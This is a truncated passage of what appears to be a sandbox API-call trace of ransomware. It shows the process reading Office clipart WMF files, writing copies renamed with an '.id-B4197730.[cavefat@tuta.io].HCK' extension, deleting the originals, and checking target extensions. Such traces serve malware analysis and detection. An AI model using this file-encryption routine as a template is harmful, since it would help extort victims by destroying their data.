lpString2=".WMF") returned -1 [0157.673] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.673] lstrlenW (lpString="DD00705_.WMF") returned 12 [0157.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0157.674] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=24588) returned 1 [0157.674] CloseHandle (hObject=0x390) returned 1 [0157.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220 [0157.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0157.674] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.674] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.674] GetLastError () returned 0x0 [0157.674] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x600c, lpOverlapped=0x0) returned 1 [0157.677] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x6010, lpOverlapped=0x0) returned 1 [0157.678] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.678] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.678] SetEndOfFile (hFile=0x380) returned 1 [0157.678] CloseHandle (hObject=0x380) returned 1 [0157.679] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.679] SetEndOfFile (hFile=0x390) returned 1 [0157.680] CloseHandle (hObject=0x390) returned 1 [0157.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0157.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0157.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0157.680] lstrlenW (lpString=".doc") returned 4 [0157.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.680] lstrlenW (lpString=".docx") returned 5 [0157.680] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.680] lstrlenW (lpString=".pdf") returned 4 [0157.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.680] lstrlenW (lpString=".xls") returned 4 [0157.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.681] lstrlenW (lpString=".xlsx") returned 5 [0157.681] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.681] lstrlenW (lpString=".ppt") returned 4 [0157.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0157.681] lstrlenW (lpString=".zip") returned 4 [0157.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.681] lstrlenW (lpString=".rar") returned 4 [0157.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString=".bz2") returned 4 [0157.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString=".7z") returned 3 [0157.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0157.681] lstrlenW (lpString=".dbf") returned 4 [0157.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0157.681] lstrlenW (lpString=".1cd") returned 4 [0157.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0157.681] lstrlenW (lpString=".jpg") returned 4 [0157.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0157.681] lstrlenW (lpString=".doc") returned 4 [0157.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString=".docx") returned 5 [0157.681] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.681] lstrlenW (lpString=".pdf") returned 4 [0157.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString=".xls") returned 4 [0157.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.681] lstrlenW (lpString=".xlsx") returned 5 [0157.681] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.681] lstrlenW (lpString=".ppt") returned 4 [0157.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0157.681] lstrlenW (lpString=".zip") returned 4 [0157.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.681] lstrlenW (lpString=".rar") returned 4 [0157.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString=".bz2") returned 4 [0157.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString=".7z") returned 3 [0157.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0157.681] lstrlenW (lpString=".dbf") returned 4 [0157.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0157.681] lstrlenW (lpString=".1cd") returned 4 [0157.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0157.682] lstrlenW (lpString=".jpg") returned 4 [0157.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.682] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.682] lstrlenW (lpString="DD01015_.WMF") returned 12 [0157.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0157.682] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2226) returned 1 [0157.682] CloseHandle (hObject=0x390) returned 1 [0157.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220 [0157.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0157.682] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.682] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.683] GetLastError () returned 0x0 [0157.683] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x8b2, lpOverlapped=0x0) returned 1 [0157.684] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0157.685] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.685] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.685] SetEndOfFile (hFile=0x380) returned 1 [0157.685] CloseHandle (hObject=0x380) returned 1 [0157.686] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.686] SetEndOfFile (hFile=0x390) returned 1 [0157.686] CloseHandle (hObject=0x390) returned 1 [0157.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0157.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0157.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0157.687] lstrlenW (lpString=".doc") returned 4 [0157.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.687] lstrlenW (lpString=".docx") returned 5 [0157.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.687] lstrlenW (lpString=".pdf") returned 4 [0157.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.687] lstrlenW (lpString=".xls") returned 4 [0157.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.687] lstrlenW (lpString=".xlsx") returned 5 [0157.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.687] lstrlenW (lpString=".ppt") returned 4 [0157.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0157.687] lstrlenW (lpString=".zip") returned 4 [0157.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.687] lstrlenW (lpString=".rar") returned 4 [0157.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.687] lstrlenW (lpString=".bz2") returned 4 [0157.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.688] lstrlenW (lpString=".7z") returned 3 [0157.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0157.688] lstrlenW (lpString=".dbf") returned 4 [0157.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0157.688] lstrlenW (lpString=".1cd") returned 4 [0157.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0157.688] lstrlenW (lpString=".jpg") returned 4 [0157.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0157.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0157.688] lstrlenW (lpString=".doc") returned 4 [0157.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.688] lstrlenW (lpString=".docx") returned 5 [0157.688] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.688] lstrlenW (lpString=".pdf") returned 4 [0157.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.688] lstrlenW (lpString=".xls") returned 4 [0157.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.688] lstrlenW (lpString=".xlsx") returned 5 [0157.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.688] lstrlenW (lpString=".ppt") returned 4 [0157.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0157.688] lstrlenW (lpString=".zip") returned 4 [0157.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.688] lstrlenW (lpString=".rar") returned 4 [0157.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.688] lstrlenW (lpString=".bz2") returned 4 [0157.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.688] lstrlenW (lpString=".7z") returned 3 [0157.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0157.688] lstrlenW (lpString=".dbf") returned 4 [0157.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0157.688] lstrlenW (lpString=".1cd") returned 4 [0157.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0157.688] lstrlenW (lpString=".jpg") returned 4 [0157.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.688] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.689] lstrlenW (lpString="DD01039_.WMF") returned 12 [0157.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0157.689] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=14820) returned 1 [0157.689] CloseHandle (hObject=0x390) returned 1 [0157.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220 [0157.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0157.689] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.689] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.690] GetLastError () returned 0x0 [0157.690] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x39e4, lpOverlapped=0x0) returned 1 [0158.066] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x39f0, lpOverlapped=0x0) returned 1 [0158.085] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.085] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.085] SetEndOfFile (hFile=0x380) returned 1 [0158.086] CloseHandle (hObject=0x380) returned 1 [0158.087] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.087] SetEndOfFile (hFile=0x390) returned 1 [0158.087] CloseHandle (hObject=0x390) returned 1 [0158.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0158.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0158.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0158.088] lstrlenW (lpString=".doc") returned 4 [0158.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.088] lstrlenW (lpString=".docx") returned 5 [0158.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.088] lstrlenW (lpString=".pdf") returned 4 [0158.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.088] lstrlenW (lpString=".xls") returned 4 [0158.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.088] lstrlenW (lpString=".xlsx") returned 5 [0158.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.088] lstrlenW (lpString=".ppt") returned 4 [0158.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0158.088] lstrlenW (lpString=".zip") returned 4 [0158.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.088] lstrlenW (lpString=".rar") returned 4 [0158.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.088] lstrlenW (lpString=".bz2") returned 4 [0158.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.088] lstrlenW (lpString=".7z") returned 3 [0158.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0158.088] lstrlenW (lpString=".dbf") returned 4 [0158.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0158.089] lstrlenW (lpString=".1cd") returned 4 [0158.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0158.089] lstrlenW (lpString=".jpg") returned 4 [0158.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0158.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0158.089] lstrlenW (lpString=".doc") returned 4 [0158.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.089] lstrlenW (lpString=".docx") returned 5 [0158.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.089] lstrlenW (lpString=".pdf") returned 4 [0158.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.089] lstrlenW (lpString=".xls") returned 4 [0158.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.089] lstrlenW (lpString=".xlsx") returned 5 [0158.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.089] lstrlenW (lpString=".ppt") returned 4 [0158.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0158.089] lstrlenW (lpString=".zip") returned 4 [0158.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.089] lstrlenW (lpString=".rar") returned 4 [0158.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.089] lstrlenW (lpString=".bz2") returned 4 [0158.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.089] lstrlenW (lpString=".7z") returned 3 [0158.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0158.089] lstrlenW (lpString=".dbf") returned 4 [0158.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0158.089] lstrlenW (lpString=".1cd") returned 4 [0158.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0158.090] lstrlenW (lpString=".jpg") returned 4 [0158.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.090] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.090] lstrlenW (lpString="DD01178_.WMF") returned 12 [0158.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0158.090] GetFileSizeEx (in: 